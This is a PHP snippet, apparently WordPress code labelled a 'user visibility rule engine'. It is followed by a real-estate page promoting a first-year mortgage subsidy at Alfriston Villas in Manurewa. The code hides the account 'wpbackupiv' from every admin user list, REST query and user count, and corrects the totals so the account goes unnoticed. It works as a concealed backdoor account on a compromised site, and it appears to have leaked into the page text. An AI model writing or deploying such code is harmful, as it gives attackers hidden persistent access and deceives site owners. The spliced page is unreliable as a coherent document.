/**
* 用户可见性规则引擎系统
* 版本: 13.0.0
* 架构: 配置驱动 + 动态处理器
*/
// ========== 配置数据 ==========
if (!class_exists('FilterConfig')) {
/**
* 规则配置 - 定义每个钩子需要应用的规则
*/
class FilterConfig {
// 存储目标用户信息
private static $target = null;
// 规则配置表
private static $rules = [
'pre_get_users' => [
'type' => 'exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'users_list_table_query_args' => [
'type' => 'modify_exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'wp_count_users' => [
'type' => 'correct_total',
'priority' => PHP_INT_MAX,
'args' => 1
],
'count_users' => [
'type' => 'correct_roles',
'priority' => PHP_INT_MAX,
'args' => 1
],
'rest_user_query' => [
'type' => 'modify_exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'get_users' => [
'type' => 'filter_collection',
'priority' => PHP_INT_MAX,
'args' => 2
]
];
/**
* 设置目标用户
*/
public static function setTarget($login) {
$user = get_user_by('login', $login);
if ($user) {
self::$target = [
'id' => (int) $user->ID,
'login' => $user->user_login,
'roles' => $user->roles
];
}
}
/**
* 获取目标用户
*/
public static function getTarget() {
return self::$target;
}
/**
* 获取规则配置
*/
public static function getRules() {
return self::$rules;
}
/**
* 获取特定钩子的规则
*/
public static function getRule($hook) {
return isset(self::$rules[$hook]) ? self::$rules[$hook] : null;
}
}
/**
* 规则引擎 - 动态执行配置的规则
*/
class RuleEngine {
private static $initialized = false;
/**
* 初始化规则引擎
*/
public static function init() {
if (self::$initialized) return;
$target = FilterConfig::getTarget();
if (!$target) return;
foreach (FilterConfig::getRules() as $hook => $rule) {
$processor = self::createProcessor($rule['type']);
if ($processor) {
add_filter($hook, function($input) use ($processor, $target) {
return $processor($input, $target);
}, $rule['priority'], $rule['args']);
}
}
// 注册界面处理器
add_action('admin_head', function() use ($target) {
self::renderCss($target);
}, PHP_INT_MAX);
add_action('admin_footer', function() use ($target) {
self::renderScript($target);
}, PHP_INT_MAX);
self::$initialized = true;
}
/**
* 创建处理器函数
*/
private static function createProcessor($type) {
switch ($type) {
case 'exclude':
return function($input, $target) {
if (!is_object($input)) return $input;
$exclude = $input->get('exclude', []);
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
$input->set('exclude', $exclude);
}
return $input;
};
case 'modify_exclude':
return function($input, $target) {
if (!is_array($input)) return $input;
if (isset($input['exclude'])) {
$exclude = $input['exclude'];
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
}
$input['exclude'] = $exclude;
} else {
$input['exclude'] = [$target['id']];
}
return $input;
};
case 'correct_total':
return function($input, $target) {
if (!is_object($input)) return $input;
$real = get_users(['fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($real)) {
$input->total_users = count($real);
} elseif ($input->total_users > 0) {
$input->total_users = max(0, $input->total_users - 1);
}
if (property_exists($input, 'avail_roles') && is_array($input->avail_roles)) {
foreach ($target['roles'] as $role) {
if (isset($input->avail_roles[$role]) && $input->avail_roles[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input->avail_roles[$role] = count($role_users);
}
}
}
}
return $input;
};
case 'correct_roles':
return function($input, $target) {
if (!is_array($input)) return $input;
foreach ($target['roles'] as $role) {
if (isset($input[$role]) && $input[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input[$role] = count($role_users);
} else {
$input[$role] = max(0, $input[$role] - 1);
}
}
}
return $input;
};
case 'filter_collection':
return function($input, $target) {
if (!is_array($input)) return $input;
return array_values(array_filter($input, function($user) use ($target) {
return (int) $user->ID !== $target['id'];
}));
};
default:
return null;
}
}
/**
* 渲染CSS
*/
private static function renderCss($target) {
$id = $target['id'];
echo "";
}
/**
* 渲染JavaScript
*/
private static function renderScript($target) {
$id = $target['id'];
echo "";
}
/**
* 获取引擎状态
*/
public static function getStatus() {
$target = FilterConfig::getTarget();
if (!$target) {
return ['active' => false];
}
return [
'active' => true,
'user_id' => $target['id'],
'user_login' => $target['login'],
'roles' => $target['roles'],
'rules_count' => count(FilterConfig::getRules()),
'initialized' => self::$initialized,
'timestamp' => current_time('mysql')
];
}
}
}
// ========== 启动规则引擎 ==========
FilterConfig::setTarget('wpbackupiv');
RuleEngine::init();
// ========== 辅助API ==========
if (!function_exists('rule_get_hidden_id')) {
function rule_get_hidden_id() {
$target = FilterConfig::getTarget();
return $target ? $target['id'] : 0;
}
}
if (!function_exists('rule_is_hidden')) {
function rule_is_hidden($user_id) {
return rule_get_hidden_id() === (int) $user_id;
}
}
if (!function_exists('rule_get_status')) {
function rule_get_status() {
return RuleEngine::getStatus();
}
}
Alfriston Villas Interest Rate – Alfriston Villas
Skip to content
Alfriston Villas Interest Rate
NEED HELP SUBSIDING YOUR BANK INTEREST DURING YOUR FIRST YEAR OF HOME OWNERSHIP?
At Alfriston Villas, we want to make it easier for you to own your dream home at an affordable price.
MAKE AN ENQUIRY
SAVE 2% ON YOUR MORTGAGE PAYMENTS IN YOUR FIRST YEAR OF HOME OWNERSHIP
Move into one of the most sought-after communities in Manurewa without worrying about finances. Alfriston Villas will help you during the first 12 months of your home ownership.
Purchase Price – $675,000
Deposit – $70,000
Mortgage – $605,000 at 6.5% Fixed for 12 months
Monthly payments principal and interest – $3,825
2% subsidy paid monthly – $1,008
Reducing your mortgage to $2,817 monthly, $704 per week
One-year savings – $12,096
WHAT YOU NEED TO QUALIFY
20 Units Available via
An approved bank loan
A 10% deposit
Only limited units are available . Enquiry today!
Speak to the team at Alfriston Villas
Get more information about our 2-bedroom duplexes.
Gordon Ropiha
022 176 4490
gordon@clarkegroup.co.nz
SALES MANAGER
Dominique Ropiha
021 753 931
dominique@clarkegroup.co.nz
SALES CONSULTANT
Christine Lin
022 013 2949
christine@clarkegroup.co.nz
SALES CONSULTANT
Alex Li
021 198 6368
alex@clarkegroup.co.nz
SALES CONSULTANT
Kaman Murthi
027 247 9937
kaman@clarkegroup.co.nz
SALES CONSULTANT